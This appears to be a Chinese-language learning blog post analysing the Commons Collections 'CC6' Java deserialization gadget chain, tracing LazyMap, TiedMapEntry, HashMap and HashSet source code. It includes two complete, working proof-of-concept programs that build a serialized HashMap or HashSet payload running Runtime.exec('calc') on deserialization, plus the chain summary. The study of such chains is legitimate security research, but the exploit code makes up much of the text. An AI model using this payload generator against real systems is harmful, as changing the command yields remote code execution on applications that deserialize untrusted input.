cc链6

前⾔

在JDK 8u65以后,官⽅修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject⽅法,导致在⾼版本的Java中 CommonCollections1⽆法利⽤

于是我看了看里面改了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;

try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Map.Entry var9 = (Map.Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(objectToString(var11))).setMember((Method)var5.members().get(var10));
}
}
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

因为c1链在TransformedMap中用了setValue方法这里没有了

至于用c1链Laymap中代理类利用点触发点只能是这里了

1
Iterator var8 = var4.entrySet().iterator()

但是在调试过程中发现var4的值被改变了只能另想办法出来Laymap.get()方法了

看了达达师傅的思路,是自己反编译 3.1jar的包,然后全局搜索找到可以用的类

尝试全局搜索map.get而且这个类里面是接了serialzable的接口的

发现有三个类但是重点只看他就行了

org.apache.commons.collections.keyvalue.TiedMapEntry类的getValue⽅法可触发map.get⽅法

1
2
3
4
5
6
7
8
9
10
11
12
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}

public Object getKey() {
return this.key;
}

public Object getValue() {
return this.map.get(this.key);
}

然后看哪里用了这个方法,发现有3处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    public boolean equals(Object obj) {
if (obj == this) {
return true;
} else if (!(obj instanceof Map.Entry)) {
return false;
} else {
Map.Entry other = (Map.Entry)obj;
Object value = this.getValue();
return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
}

public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}

先着⼿hashCode⽅法 我第⼀反应想到了URLDNS链,HashMap.readObejct⽅法最后好像可以⾛到hashCode⽅法,但跟ysoserial给的⼊⼝不⼀样,能否可⾏?

问题1.是在于put函数写了进去会发生什么

问题2.如果我像之前分析URLDNS2一样,随便put进去,然后改table能不能做到

但是那样又太麻烦了怎么办,又想像URLDNS先传值,后改值就好了

因为调用了lazymap,transform方法,导致put时候就开始弹计算器了,要是我一开始弄的是一个转化器让程序不报错,后面再改他的值是不是可行的

如果看不懂链子希望还是重新回去看cc1链和URLDNS链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc6{

public static void main(String[] args) throws Exception, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {

// 初始化 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "baicany");

hashMap.put(entry, "baiacny");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();

// 反射调用 HashMap 的 putVal 方法
// Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
// for (Method method : m) {
// if ("putVal".equals(method.getName())) {
// method.setAccessible(true);
// method.invoke(hashMap, -1, entry, 0, false, true);
// }
// }
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
outputStream.writeObject(hashMap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

为什么要clean?

因为跟进put的时候发现将key值改变了,clean清楚这个操作,用remove删除这个key也行,来看看put做了什么

调试发现,原来在这一步

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

因为在我们这个链子中put必会触发hashcode函数,然后也会触发get方法里面的map.put了这样导致了map.key里面有baicany这个key,如果不删除的话就会导致,反序列化的时候这里的if判断为true了

然后进入了下面 map.get(key);就调用的是hashmap的方法了

Hashset

ysoserial介绍了java.util.HashSet作为反序列化的⼊⼝,java.util.HashSet.readObject⽅法的最后会触发map.put⽅法

HashSet 是一个无序的,不允许有重复元素的集合。HashSet 本质上就是由 HashMap 实现的。HashSet 中的元素都存放在 HashMap 的 key 上面,而 value 中的值都是统一的一个private static final Object PRESENT = new Object();。HashSet 跟 HashMap 一样,都是一个存放链表的数组。

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。

1
2
3
4
5
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}

为什么想到put,因为之前hashmap的函数还记得我们之前put方法会干嘛吗也会进入putval方法来触发hashcode

所以来想想怎么用这个方法了,怎么想办法把这里map变为Hashmap是第一步,

1
2
3
4
private transient HashMap<E,Object> map;
public HashSet() {
map = new HashMap<>();
}发现了map初始化确实是hashmap

发现是 transient属性,所以就算能初始化值反序列也没用了,所以看看序列化的时候有没有写值进去

1
2
3
4
5
6
7
8
9
10
11
12
13
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}

只能说老火

再看看readObject

1
2
3
4
5
        // Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
在给定的代码中,根据 HashSet 是否是 LinkedHashSet 的实例,选择创建一个 LinkedHashMap 或 HashMap 的实例作为底层的 HashMap。LinkedHashMap 是 HashMap 的子类,它保留了插入顺序,而普通的 HashMap 则没有保留插入顺序。

发现了这个会返回一个hashmap

所以下一步分析怎么传值了,这里的e怎么弄出来的

1
2
3
4
5
6
    for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();//有读必也有写
map.put(e, PRESENT);
}
}

来看writeObject

1
2
3
    for (E e : map.keySet())
s.writeObject(e);
}

所以会根据keySet()返回值来写入e,跟进hashmap的keyset

1
2
3
4
5
6
7
8
public Set<K> keySet() {
Set<K> ks = keySet;
if (ks == null) {
ks = new KeySet();
keySet = ks;
}
return ks;
}

继续跟进到最后第一次keySet为null肯定会创造Keyset对象的(自己看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
final class KeySet extends AbstractSet<K> {
public final int size() { return size; }
public final void clear() { HashMap.this.clear(); }
public final Iterator<K> iterator() { return new KeyIterator(); }
public final boolean contains(Object o) { return containsKey(o); }
public final boolean remove(Object key) {
return removeNode(hash(key), key, null, false, true) != null;
}
public final Spliterator<K> spliterator() {
return new KeySpliterator<>(HashMap.this, 0, -1, 0, 0);
}
public final void forEach(Consumer<? super K> action) {
Node<K,V>[] tab;
if (action == null)
throw new NullPointerException();
if (size > 0 && (tab = table) != null) {
int mc = modCount;
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next)
action.accept(e.key);
}
if (modCount != mc)
throw new ConcurrentModificationException();
}
}
}

所以在wirte的时候for (E e : map.keySet())会进入forEach方法,就是把每个键值给e就对了

但是hashmap add会触发put 那hashset会不会呢也会

1
2
3
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}

所以链子找到了直接写payload

所以只是把之前的payload ,hashcode套了层hashset

开始手搓poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6{

public static void main(String[] args) throws Exception, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {

// 初始化 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "baicany");

HashSet set = new HashSet<>();
set.add(entry);
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
outputStream.writeObject(set);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

利用链

1
2
3
4
5
6
7
8
9
HashSet:readObject()->
Hashmap:put()->
Hashmap:putVal()->
TiedMapEntry:hashcode()->
TiedMapEntry:getKey()->
Lazymap:get()->
Transformer...
->exec()

其实学习C1链和URLDNS就觉得很好理解了,都可以脱离文章自己学分析了

依赖版本 commons-collections : 3.1~3.2.1